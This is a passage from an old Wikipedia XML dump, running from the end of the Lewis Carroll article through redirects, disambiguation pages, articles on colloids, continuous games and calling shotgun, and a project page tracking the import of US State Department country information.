*''Lewis Carroll'' by Richard Kelly, Twayne, 1990. 
*''Lewis Carroll: A Biography'' by Morton Cohen, Vintage, 1996.
*[http://shadowofthedreamchild.wild-reality.net In the Shadow of the Dreamchild] by Karoline Leach.

*[http://www.victorianweb.org/authors/carroll/bioov.html Victorian Web]'s detailed biography section on Carroll.
*&quot;[http://dx.doi.org/10.1016/j.yebeh.2004.11.011 Did all those famous people really have epilepsy?]&quot; by John R. Hughes. Department of Neurology, School of Medicine, University of Illinois at Chicago. ''Epilepsy &amp; Behavior'', Volume 6, Issue 2, p.115&amp;ndash;139. March 2005.
*''The Raven and the Writing Desk'' by Francis Huxley, 1976. (ISBN 0060121130).
*''Inventing Wonderland'' by Jackie Wullschläger, (ISBN 0743228928) &amp;mdash; also looks at [[Edward Lear]] (of the &quot;nonsense&quot; verses), [[J. M. Barrie]] (''[[Peter Pan]]''), [[Kenneth Grahame]] (''[[The Wind in the Willows]]''), and [[A. A. Milne]] (''[[Winnie-the-Pooh]]'').
* ''Dreaming in Pictures: The Photography of Lewis Carroll''. Yale University Press &amp; SFMOMA, 2004. (Places Carroll firmly in the [[art photography]] tradition).
* Roger Taylor &amp; Edward Wakeling. ''Lewis Carroll, Photographer''. 2002. (Has a definitive list of every Carroll photograph that is still in existence.
*''Rare book by Alice author makes £4,800'', by Paul James. The Sunderland Echo page 9, Saturday 28th January, 2006.

== See also ==
* [[Lewis Dodgson]]
* [[Alice's Adventures in Wonderland]]
* [[Barbershop paradox]]
* [[Through the Looking-Glass]]
* [[PHANTASMAGORIA: The Visions Of Lewis Carroll]]

==External links==
{{wikiquote}}
{{wikisource author}}

;Official websites
:*[http://lewiscarrollsociety.org.uk/ The Lewis Carroll Society]
:*[http://www.lewiscarroll.org/ Lewis Carroll Society of North America]
:*[http://www.lookingforlewiscarroll.com/ Looking for Lewis Carroll], website of the Association for New Lewis Carroll Studies

;Additional information
:*LCSNA: [http://www.lewiscarroll.org/carroll.html Lewis Carroll Home Page]
:*Victorian Web: [http://www.victorianweb.org/authors/carroll/carrollov.html Lewis Carroll]
:*[http://greatsfandf.com/AUTHORS/LewisCarroll.shtml Lewis Carroll] - an introduction to his fiction
:*[http://www.elisanet.fi/markus.lang/lewis/carroll-music.html Musical Compositions Inspired by Lewis Carroll]
:*[http://www.heureka.clara.net/art/carroll.htm Lewis Carroll]
:*[http://wiredforbooks.org/edwardguilino/ 1982 audio interview with Edward Guilino, biographer of Lewis Carroll. Interview by Don Swaim of CBS Radio - RealAudio]
:* {{MacTutor Biography|id=Dodgson}}

;The Internet Movie Database
:*{{imdb name|id=0140902|name=Lewis Carroll}}
:*[http://www.imdb.com/Find?select=Characters&amp;for=Lewis+Carroll IMDb Character name search for Lewis Carroll]

===Electronic texts===
;Online books
:*'''In the [http://www.gasl.org/as/referenz Arno Schmidt Reference Library]'''
:**[http://www.gasl.org/refbib/Carroll__Works.pdf The Complete Works] ([[Portable Document Format|PDF]])
:**[http://www.gasl.org/refbib/Carroll__Wonderland.pdf ''Alice's Adventures in Wonderland''] (PDF, coloured edition)
:*'''Freely downloadable e-texts from [[Project Gutenberg]]:'''
:**[http://www.gutenberg.org/etext/11 ''Alice's Adventures in Wonderland'']
:**[http://www.gutenberg.org/etext/12 ''Through the Looking-Glass'']
:**[http://www.gutenberg.org/etext/13 ''The Hunting of the Snark'']
:**[http://www.gutenberg.org/etext/651 ''Phantasmagoria and Other Poems'']
:**[http://www.gutenberg.org/etext/620 ''Sylvie and Bruno'']
:**[http://www.gutenberg.org/etext/4763 ''The game of logic'']
:**[http://www.gutenberg.org/etext/11483 ''The Life and Letters of Lewis Carroll''] by Stuart Dodgson Collingwood
:** The complete list of {{gutenberg author| id=Lewis+Carroll | name=Lewis Carroll}}
:*'''Other online texts'''
:**&quot;[http://www.poetry-archive.com/c/the_manlet.html The Manlet]&quot;
:** [http://www.bl.uk/onlinegallery/ttp/ttpbooks.html ''Alice's Adventures Under Ground''] the complete manuscript using the British Library's Turning the Pages technology (Shockwave file)

;Audio files
:*Wired for Books: [http://wiredforbooks.org/alice/ A dramatic audio production of ''Alice's Adventures in Wonderland''] ([[RealAudio]])
:*[http://librivox.org/the-hunting-of-the-snark-by-lewis-carroll/ Free audiobook] of ''[[The Hunting of the Snark]]'' from [http://librivox.org/ LibriVox]
:*[http://librivox.org/alices-adventures-in-wonderland-by-lewis-carroll Free audiobook] of ''[[Alice's Adventures in Wonderland]]'' from [http://librivox.org/ LibriVox]
[[Category:1832 births|Carroll, Lewis]]
[[Category:1898 deaths|Carroll, Lewis]]
[[Category:Alice in Wonderland|Carroll, Lewis]]
[[Category:Anglicans|Carroll, Lewis]]
[[Category:British logicians|Carroll, Lewis]]
[[Category:British mathematicians|Carroll, Lewis]]
[[Category:English children's writers|Carroll, Lewis]]
[[Category:English poets|Carroll, Lewis]]
[[Category:English fantasy writers|Carroll, Lewis]]
[[Category:Natives of Cheshire|Carroll, Lewis]]
[[Category:English photographers|Carroll, Lewis]]
[[Category:British photographers|Carroll, Lewis]]
[[Category:Victorian era|Carroll, Lewis]]
[[Category:Old Rugbeians|Carroll, Lewis]]
[[Category:Former students of Christ Church, Oxford|Carroll, Lewis]]
[[Category:Fellows of Christ Church, Oxford|Carroll, Lewis]]
[[Category:Voting theorists|Carroll, Lewis]]

[[bg:Луис Карол]]
[[bs:Lewis Carroll]]
[[cs:Lewis Carroll]]
[[da:Lewis Carroll]]
[[de:Lewis Carroll]]
[[et:Lewis Carroll]]
[[es:Lewis Carroll]]
[[eo:Lewis CARROLL]]
[[fr:Lewis Carroll]]
[[fy:Lewis Carroll]]
[[gl:Lewis Carroll]]
[[is:Lewis Carroll]]
[[it:Lewis Carroll]]
[[he:לואיס קרול]]
[[nl:Lewis Carroll]]
[[ja:ルイス・キャロル]]
[[no:Lewis Carroll]]
[[pl:Lewis Carroll]]
[[pt:Lewis Carroll]]
[[ru:Кэрролл, Льюис]]
[[simple:Lewis Carroll]]
[[sr:Луис Керол]]
[[fi:Lewis Carroll]]
[[sv:Lewis Carroll]]
[[ta:லூயி கரோல்]]
[[zh:路易斯·卡羅]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesX</title>
    <id>5341</id>
    <revision>
      <id>15903554</id>
      <timestamp>2004-09-20T22:20:33Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>Commentary</title>
    <id>5342</id>
    <revision>
      <id>29534835</id>
      <timestamp>2005-11-28T23:45:15Z</timestamp>
      <contributor>
        <ip>66.167.136.204</ip>
      </contributor>
      <comment>add one, remove one, tweak some wording</comment>
      <text xml:space="preserve">'''Commentary''' can refer to:
*Informed [[criticism]]
*Topics covered by a [[discussion group]]
*''[[Commentary Magazine|Commentary]]'', an [[United States|American]] [[public affairs]] [[journal]], founded in 1945 and published by the [[American Jewish Committee]]  
*[[Voice-over]]s accompanying sporting events, covered for TV or radio: e.g. the [[cricket]] commentary radio programme, ''[[Test Match Special]]''
*the [[audio commentary (DVD)|audio commentary track for DVDs]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Canadian Constitution Act</title>
    <id>5343</id>
    <revision>
      <id>26758679</id>
      <timestamp>2005-10-29T02:16:05Z</timestamp>
      <contributor>
        <username>CanadianCaesar</username>
        <id>290432</id>
      </contributor>
      <comment>What a bizarre redirect.  The Canada Act 1982 has never been known as the &quot;Constitution Act&quot;, to the best of my knowledge</comment>
      <text xml:space="preserve">#REDIRECT [[Constitution of Canada]]</text>
    </revision>
  </page>
  <page>
    <title>Colloids</title>
    <id>5345</id>
    <revision>
      <id>15903557</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Colloid]]
</text>
    </revision>
  </page>
  <page>
    <title>Colloid</title>
    <id>5346</id>
    <revision>
      <id>40002161</id>
      <timestamp>2006-02-17T12:13:41Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>rm sp in lnk</comment>
      <text xml:space="preserve">In general, a '''colloid''' or '''colloidal dispersion''' is a one-[[phase (chemistry)|phase]] system of two or more components; a type of [[mixture]] intermediate between ''[[homogeneous]] solution'' and ''[[heterogeneous]] mixtures'' with properties also intermediate between a solution and a mixture.  Membranes are typically more restrictive of dispersed colloidial particles than of dissolved ions or molecules; ions or molecules may diffuse through a membrane through which dispersed colloidal particles will not. The dispersed phase particles are largely affected by the [[surface chemistry]] extent in the colloid and are characterized by particle interactions.

Many familiar substances, including [[butter]], milk, cream, aerosols (fog, smog, smoke), [[asphalt]], inks, paints, [[glue]]s and sea foam, are colloids. This field of study was introduced in 1861 by [[Scotland|Scottish]] scientist [[Thomas Graham (chemist)|Thomas Graham]]. 

The size of dispersed phase particles in a colloid range from 0.001 to 1 micrometers. Dispersions where the particle size is in this range are referred to as '''colloidal aerosols''', '''colloidal emulsions''', '''colloidal foams''', or '''colloidal suspensions or dispersions'''. Colloids may be colored or translucent because of the [[Tyndall effect]]. The Tyndall effect is the scattering of light by particles in the colloid.

==Classification of colloids==
Colloids can be classified as follows:
&lt;table class=&quot;wikitable&quot;&gt;
&lt;tr&gt;
&lt;th rowspan=&quot;2&quot; colspan=&quot;2&quot;&gt;&amp;nbsp;&lt;/th&gt;
&lt;th colspan=&quot;3&quot;&gt;'''Dispersed Medium'''&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;center&gt;[[Gas]]&lt;/center&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;center&gt;[[Liquid]]&lt;/center&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;center&gt;[[Solid]]&lt;/center&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th rowspan=&quot;3&quot;&gt;'''Continuous Medium'''&lt;/th&gt;
&lt;td&gt;[[Gas]]&lt;/td&gt;
&lt;td&gt;'''None''' (all gases are soluble)

&lt;/td&gt;
&lt;td&gt;'''Liquid [[Particulate|Aerosol]]'''&lt;br /&gt;
Examples: [[fog]], [[mist]]
&lt;/td&gt;
&lt;td&gt;'''Solid [[Particulate|Aerosol]]'''&lt;br /&gt;
Examples: [[Smoke]], [[dust]]
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Liquid]]&lt;/td&gt;
&lt;td&gt;'''[[Foam]]''',&lt;br /&gt;
Examples: Whipped [[cream (food)|cream]]
&lt;/td&gt;
&lt;td&gt;'''[[Emulsion]]'''&lt;br /&gt;
Examples: [[Milk]], [[mayonnaise]], hand cream, [[blood]]&lt;/td&gt;
&lt;td&gt;'''[[Sol (colloid)|Sol]]'''&lt;br /&gt;
Examples: [[Paint]], [[ink|pigmented ink]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Solid]]&lt;/td&gt;
&lt;td&gt;'''Solid Foam'''&lt;br /&gt;
Examples: [[Aerogel]], [[Styrofoam]], [[Pumice]]&lt;/td&gt;
&lt;td&gt;'''[[Gel]]'''&lt;br /&gt;
Examples: [[Gelatin]], jelly, cheese, [[Opal]]
&lt;/td&gt;
&lt;td&gt;'''Solid Sol'''&lt;br /&gt;
Examples: [[Cranberry glass]], Ruby glass&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

==Interaction between colloid particles==
The following forces play an important role in the interaction of colloid particles:
* Excluded Volume Repulsion: This refers to the impossibility of any overlap between hard particles.
* [[coulomb_force|Electrostatic interaction]]: Colloidal particles often carry an electrical charge and therefore attract or repel each other. The charge of both the continuous and the dispersed phase, as well as the mobility of the phases are factors affecting this interaction.
* [[van der Waals force]]s: This interaction is due to induced dipole-dipole interaction. Even if the particles don't have a permanent dipole, fluctuations of the electron gas give rise to a temporary dipole, meaning that van der Waals forces are always present, although possibly at a much lower magnitude than others.
* [[Entropic force]]s: According to the second law of thermodynamics, a system progresses to a state in which entropy is maximized. This can result in effective forces even between hard spheres.
* [[Steric force]]s between polymer-covered surfaces or in solutions containing non-adsorbing polymer can modulate interparticle forces, producing an additional repulsive steric stabilization force or attractive depletion force between them.

==Stabilization of colloid suspensions==
Stabilization serves to prevent colloids from aggregating.  [[Steric stabilization]] and electrostatic stabilization are the two main mechanisms for colloid stabilization.  Electrostatic stabilization is based on the mutual repulsion of like electrical charges.  Different phases generally have different charge affinities, so that a charge double-layer forms at any interface.  Small particle sizes lead to enormous surface areas, and this effect is greatly amplified in colloids. In a stable colloid, mass of a dispersed phase is so low that its [[buoyancy]] or [[kinetic energy]] is too little to overcome the electrostatic repulsion between charged layers of the dispersing phase. The charge on the dispersed particles can be observed by applying an electric field: all particles migrate to the same electrode and therefore must all have the same sign charge.

==Destabilizing a colloidal suspension==
Unstable colloidal suspensions form flocs as the particles aggregate due to interparticle attractions.  This can be accomplished by a number of different methods:
*Removal of the electrostatic barrier that prevents aggregation of the particles.  This can be accomplished by the addition of salt to a suspension or changing the pH of a suspension to effectively neutralize or &quot;screen&quot; the surface charge of the particles in suspension.  This removes the repulsive forces that keep colloidal particles separate and allows for coagulation due to van der Waals forces.  
*Addition of a charged polymer flocculant.  Polymer flocculants can bridge individual colloidal particles by attractive electrostatic interactions.  For example, negatively charged colloidal silica particles can be flocculated by the addition of a positively charged polymer.
*Addition of nonadsorbed polymers called depletants that cause aggregation due to entropic effects.  

Unstable colloidal suspensions of low volume fraction form clustered liquid suspensions wherein individual clusters of particles fall to the bottom of the suspension (or float to the top if the particles are less dense than the suspending medium) once the clusters are of sufficient size for the [[Brownian motion|Brownian forces]] that work to keep the particles in suspension to be overcome by gravitational forces.  However, colloidal suspensions of higher volume fraction form colloidal gels with viscoelastic properties. Viscoelastic colloidal gels such as [[toothpaste]] flow like liquids under shear but maintain their shape when shear is removed.  It is for this reason that toothpaste can be squeezed from a toothpaste tube, but stays on the toothbrush after it is applied.

==Colloids as a model system for atoms==
In [[physics]], colloids are an interesting model system for [[atom]]s. Colloidal particles are large enough to be observed by optical techniques such as [[Confocal microscopy]].  Many of the forces that govern the structure and behavior of matter such as excluded volume interactions or electrostatic forces govern the structure and behavior of colloidal suspensions.  For example, the same techniques that can be used to model ideal gases can be used to model the behavior of a hard sphere colloidal suspension.  Additionally, phase transitions in colloidal suspensions can be studied in real time using optical techniques and are analogous to phase transitions in liquids.

==Colloids in biology==
In the early-[[20th century]], before enzymology was well understood, colloids were thought to be the key to the operation of [[enzyme]]s; i.e., the addition of small quantities of an enzyme to a quantity of water would, in some fashion yet to be specified, subtly alter the properties of the water so that it would break down the enzyme's specific [[substrate]], such as a solution of [[ATPase]] breaking down [[adenosine triphosphate|ATP]]. Furthermore, [[life]] itself was explainable in terms of the [[aggregate]] properties of all the colloidal substances that make up an [[organism]]. As more detailed knowledge of [[biology]] and [[biochemistry]] developed, of course, the colloidal theory was replaced by the [[macromolecule|macromolecular]] theory, which explains an enzyme as a collection of identical huge [[molecule]]s that act as very tiny [[machine]]s, freely moving about between the water molecules of the solution and individually operating on the substrate, no more mysterious than a [[factory]] full of machinery. The properties of the water in the solution are not altered, other than the simple [[osmosis|osmotic]] changes that would be caused by the presence of any [[solute]].

==See also==
* [[entropic force]]

[[Category:Matter]]
[[Category:Condensed matter physics]]
[[Category:Chemical mixtures]]
[[Category:Colloidal chemistry]]
[[Category:Chemistry]]
[[Category:Soft matter]]

[[cs:Koloid]]
[[da:Kolloid]]
[[de:Kolloid]]
[[es:Coloide]]
[[fr:Colloïde]]
[[it:Colloide]]
[[nl:Colloïde]]
[[ja:コロイド]]
[[nn:Kolloid]]
[[pl:Układ koloidalny]]
[[pt:Colóide]]
[[sk:Koloid]]
[[sv:Kolloid (kemi)]]
[[vi:Hệ keo]]
[[uk:Колоїди]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese</title>
    <id>5347</id>
    <revision>
      <id>41877020</id>
      <timestamp>2006-03-02T08:16:16Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <minor />
      <comment>alphabetize interwikis, rmv blank lines, unicodify using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Wiktionarypar|Chinese}}
'''Chinese''' refers to anything pertaining to [[China]].

It may refer to:
*the '''[[Chinese language]]''', a [[Sino-Tibetan]] language
*the '''[[Chinese people]]''', people of Chinese ethnicity
:*[[Han Chinese]], the dominant ethnic group in [[China]]
::*'''[[Overseas Chinese|Ethnic Chinese]]

==See also==
*[[People's Republic of China]]
*[[Republic of China]]
*[[Chinese cuisine]]
*[[Chinese culture]]
*[[Chinese history]]

{{disambig}}

[[Category:China]]

[[de:Chinesisch]]
[[fr:Chinois]]
[[ja:支那人]]
[[ms:Cina]]
[[nn:Kinesisk]]
[[pt:Chinês]]</text>
    </revision>
  </page>
  <page>
    <title>Charlottetown</title>
    <id>5348</id>
    <revision>
      <id>15903560</id>
      <timestamp>2003-05-01T02:00:17Z</timestamp>
      <contributor>
        <username>Zoe</username>
        <id>2376</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Charlottetown, Prince Edward Island]]</text>
    </revision>
  </page>
  <page>
    <title>Continuous game</title>
    <id>5349</id>
    <revision>
      <id>40844850</id>
      <timestamp>2006-02-23T10:52:09Z</timestamp>
      <contributor>
        <username>Mikademus</username>
        <id>330360</id>
      </contributor>
      <text xml:space="preserve">A '''continuous game''', or '''[[real-time]] game''', is a [[game]] without pauses, turns, rounds, or other stopping points.

The term is most often used to describe [[Computer and video games|video game]]s, which as of the late [[1990s]] were almost all real-time, the shift being driven by the rapid increase in the power of personal computers.  There are however a number of [[board game]]s and [[card game]]s that are continuous, partially in reaction to the format's popularity in video games.

Some video game genres that has brought public attention to the differences between real-time and turn-based games are [[real-time tactics]] and [[real-time strategy]].

Examples of some continuous games are the video games [[Command and Conquer]], [[Red Alert (computer game)|Red Alert]], [[StarCraft]], and [[Age of Empires]], the card game [[Falling (card game)|Falling]], and the board game [[Icehouse (board game)|Icehouse]].

Compare [[turn-based game]] and [[Tick Based Game]].

{{cvg-stub}}

[[Category:Computer and video game genres]]</text>
    </revision>
  </page>
  <page>
    <title>Calling shotgun</title>
    <id>5350</id>
    <revision>
      <id>41652933</id>
      <timestamp>2006-02-28T20:40:50Z</timestamp>
      <contributor>
        <ip>69.72.46.16</ip>
      </contributor>
      <comment>reads better this way</comment>
      <text xml:space="preserve">The front seat of a passenger vehicle, next to the driver, is called the '''shotgun''' in an apparent, though disputable, reference to men who rode on [[stagecoach|stage coaches]] next to the driver with a [[shotgun]] to protect the stage from [[bandit]]os ([[highwayman|highwaymen]]), literally &quot;riding shotgun.&quot; No use of the term is recorded during the actual years during which stage coaches were in use; the first known reference to &quot;riding shotgun&quot; in print occurred on [[27 March]], [[1921]], and the first use of the phrase in print to refer to automobiles occurred in [[1954]] when the TV series [[Gunsmoke]] became extremely popular, and used the terminology of ''riding shotgun'' nearly weekly. [http://www.straightdope.com/mailbag/mrideshotgun.html]

(In the late 19th century, the man who sat next to the stage driver with a shotgun was actually called the [[shotgun messenger]]. He usually sat to the left of the driver, who had the position on the right).

Today, many automobile passengers consider the front passenger seat to be preferable to riding in rear seats due largely to greater control over leg room, an unobstructed view out the [[windshield]], and better access to the vehicle's [[Car audio|stereo]] and [[air conditioning]] system.  In the [[United States]] and some other English-speaking regions, there is a longstanding tradition &amp;mdash; especially among teenagers and young adults &amp;mdash; of trying to get to sit in the seat next to the driver of a motor [[vehicle]]. In contemporary tradition, in order to claim that seat, one must &quot;'''call shotgun'''&quot; according to a set of standard rules.  

To call shotgun is to, at minimum, yell out &quot;shotgun&quot; while approaching the vehicle. Depending on the situation and group, rules may also require being outside and/or within sight of the vehicle in order for the call to be valid. However, in most cases this is not necessary by virtue of calling &quot;shotgun&quot; in the first place. In some groups, yelling &quot;shotty&quot; or &quot;gunshot&quot; are also acceptable and equivalent. The specific rules are the subject of much heated but good-natured debate, and a number of websites claim to have the official rules.

&quot;Calling shotgun&quot; is also done in situations other than driving a vehicle in which order is important.  For example, when playing a [[console game]], it is typical for the loser of the round to give up his controller; the next person to play is the one who called shotgun.  

In certain regions the term is called &quot;next&quot;. 

== Reload rule ==
The reload rule, practised in Australia and possibly other countries, states that the driver has the right to call &quot;reload&quot;. It is entirely the driver's prerogative as to whether he or she exercises this rule. Upon calling &quot;reload&quot;, the game is restarted and any passenger once again has the chance to call out &quot;shotgun&quot; first and ride in the front.

== See also ==
*[[Shotgun messenger]]
*[[Shotgun (cannabis)]] - see: 'Determining smoking order'.
*[[Bitch#The Middle Backseat of a Car|Bitch]] (Riding Bitch) - see: 'The Middle Backseat of a Car'.

== External links ==
*[http://www.shotgunrules.com/ The Official Shotgun Rules]
*[http://members.aol.com/JGRUF/shotgun.html The Official Rules for Calling Shotgun, and its Amendments]
*[http://www.straightdope.com/mailbag/mrideshotgun.html What's the origin of &quot;riding shotgun&quot;?] (from the ''Straight Dope'')
*[http://www.gunriders.com GunRiders.com]

[[Category:American cultural conventions]]</text>
    </revision>
  </page>
  <page>
    <title>Countries of the world/By continent</title>
    <id>5352</id>
    <revision>
      <id>15903564</id>
      <timestamp>2002-08-06T09:09:42Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to List of countries by continent</comment>
      <text xml:space="preserve">#REDIRECT [[List of countries by continent]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Status of the porting of U.S. Dept of State info</title>
    <id>5353</id>
    <revision>
      <id>36745235</id>
      <timestamp>2006-01-26T04:17:44Z</timestamp>
      <contributor>
        <username>Doug Bell</username>
        <id>752893</id>
      </contributor>
      <minor />
      <comment>|{{PAGENAME}}</comment>
      <text xml:space="preserve">Here's a list of the countries with info on [http://www.state.gov/r/pa/ei/bgn/ the Dept of State site].  The information at this site is in the public domain ''unless it explicitly says otherwise'' on whatever page you are viewing there.'' 

The CIA site and the Dept of State site don't cover all of the countries; each of them is missing info on various countries; also they are not in agreement on what name to link to the countries under--that is the source of the various anachronisms on the [[List of countries]] page.  Furthermore, they are not always in agreement on various figures including population and GDP, even (on occasion) when supposedly taken from the same year.  If you notice a discrepancy, it's probably best to use the more cautious figure.

[[user:-- April]] suggested adding bits on contentious relationships between countries, including e.g. the U.S. and Afghanistan, but not including the more U.S.-centric bits about countries with amicable relations (e.g. location of U.S. embassies in Jamaica, Ireland, etc.)

:''If anyone wants to help, please don't hesitate.  :-)''

*[[Afghanistan]] -- bits added under History, Economy, Demographics, Transportation, and Foreign relations
*[[Albania]] -- bits added under History, Politics, Economy, and Foreign relations
*[[Algeria]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, and Foreign relations
*[[Andorra]] -- bits added under History, Demographics, Politics, Economy, and Foreign relations
*[[Angola]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, and Foreign relations
*[[Antigua and Barbuda]] -- bits added under History, Politics, and Foreign relations
*[[Argentina]] -- bits added under History, Demographics, Politics, Economy, Military, and Foreign relations
*[[Armenia]] -- bits added under History, Demographics, Politics, Economy, Military, and Foreign relations
*[[Australia]] -- bits added under History, Politics, Economy, Military, and Foreign relations
*[[Austria]] -- added bits under Demographics, Politics, Economy, and Foreign relations
*[[Azerbaijan]] -- added bits under History, Politics, Economy, Military, and Foreign relations
*[[Bahamas]] -- added bits under History, Demographics, Politics, Economy, and Foreign relations
*[[Bahrain]] -- added bits under History, Demographics, Politics, Economy, Military, and Foreign relations
*[[Bangladesh]] -- added bits under History, Politics, Economy, Military, and Foreign relations; moved para under &quot;Economy&quot; to &quot;Geography&quot;
*[[Barbados]] -- bits added under History, Demographics, Politics, Economy, and Foreign relations
*[[Belarus]] -- bits added under History, Politics, Economy, and Foreign relations.  '''did not''' add extensive section on the U.S.' efforts to assist militarily.
*[[Belgium]] -- bits added under History, Politics, Economy, and Foreign relations
*[[Belize]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Benin]] -- bits added under History, Geography, Demographics, Politics, Economy, and Foreign Relations, though I suspect the [http://www.state.gov/r/pa/ei/bgn/6761.htm source page] may have been truncated, and so someone knowledgeable about Benin should check that &quot;Demographics&quot; and &quot;Politics&quot; are comprehensive
*[[Bermuda]] -- bits added under History, Politics, Economy, Communications, and Transportation; added parts of &quot;U.S.-Bermuda relations&quot; to Bermuda's main page.
*[[Bolivia]] -- bits added under History, Demographics, Government, Foreign relations
*[[Bosnia and Herzegovina]] -- bits added under History, Politics, Economy, Foreign relations
*[[Botswana]] -- bits added under History, Politics, Economy, Transportation, Communications, Military, Foreign relations
*[[Brazil]] -- bits added under History, Politics, Economy, Foreign relations
*[[Brunei]] Darussalam -- bits added under History, Politics, Economy, Military, Foreign relations
*[[Bulgaria]] -- bits added under History, Politics, Economy, Foreign relations
*[[Burkina Faso]] -- bits added under History, Geography, Demographics, Politics, Economy, Transportation; put &quot;Foreign relations&quot; and p. of &quot;U.S.-Burkina Faso relations&quot; under Transnational Issues
*[[Burundi]] -- bits added under History, Politics, Economy, Foreign relations
*[[Cambodia]] -- bits added under History, Politics, Economy; created subpage &quot;Architecture&quot; and bits added there, Foreign relations
*[[Cameroon]] -- bits added under History, Politics, Economy, Military, Foreign relations
*[[Canada]] -- bits added under Government and Economy; put &quot;U.S.-Canada relations&quot; under Transnational Issues
*[[Cape Verde]] -- bits added under History, Demographics, Geography, Politics, Economy, Foreign relations
*[[Cayman Islands]] -- not a country, but so what? I'm not keeping several lists to get this done -- bits added under History, Politics, and Economy
*[[Central African Republic]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Chad]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Chile]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Peoples Republic of China]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations. Left quite a lot of info on U.S.-China relations unadded, available [http://www.state.gov/r/pa/bgn/index.cfm?docid=2742 here] if anyone's interested in adding it
*[[Colombia]] -- bits added under History, Demographics, Politics, Economy, and Military, and created &quot;Foreign relations.&quot; bits from U.S.-Columbia relations in re: trade added to the Economy page.
*[[Comoros]] -- bits added under History, Demographics, Politics, Economy, Military, and Foreign relations
*[[Democratic Republic of the Congo]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Republic of the Congo]] -- bits added under History, Politics, Economy, Foreign relations
*[[Costa Rica]] -- bits added under Demographics, Politics, Economy, Foreign relations
*[[Côte d'Ivoire]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Croatia]] -- bits added under History, Politics, Economy, Foreign relations
*[[Cuba]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Cyprus]] -- bits added under History, Demographics, Politics, Economy, and Foreign relations
*[[Czech Republic]] -- bits added under History, Demographics, Politics, Economy, and Military, and created &quot;Foreign relations.&quot;
*[[Denmark]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Djibouti]] -- bits added under History, Demographics, Politics, Economy, and Foreign relations
*[[Dominica]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
**at this point I've quit adding the &quot;current govt officials&quot; bits as they won't generally be timely for long; also I'm not adding the &quot;embassy in U.S. bits&quot; as I haven't added e.g. &quot;embassy in U.K.&quot; or &quot;embassy in Greenland&quot; bits
*[[Dominican Republic]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Ecuador]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[El Salvador]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Equatorial Guinea]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Eritrea]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Estonia]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Ethiopia]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Fiji]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Finland]] -- bits added under History, Politics, Economy, Military, Foreign relations
*[[France]] -- bits added under History, Politics, Economy, Military, Foreign relations
*[[Gabon]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[The Gambia]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Georgia (country)|Georgia]] -- bits added under History, Politics, Economy, Foreign relations
*[[Germany]] -- bits added under Demographics, Politics, Economony, Transnational issues, [[History of Germany]].
*[[Ghana]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Greece]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Grenada]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Guatemala]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Guinea]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Guinea-Bissau]] -- bits added under History, Demographics, Politics, Economy, and Foreign relations
*[[Guyana]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Haiti]] -- bits added under History, Demographics, Economy, Foreign relations.  much history of the government of Haiti put under History, not Government.  Also parts of an extensive section on U.S.-Haiti relations were left unadded [http://www.state.gov/r/pa/bgn/index.cfm?docid=1982 here], though some of it was added to Economy and another part of it was added to Military
*[[Holy See]] -- bits added under [[Vatican City]]'s main page, as well as under its Government; put &quot;Foreign relations&quot; under its Transnational issues
*[[Honduras]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
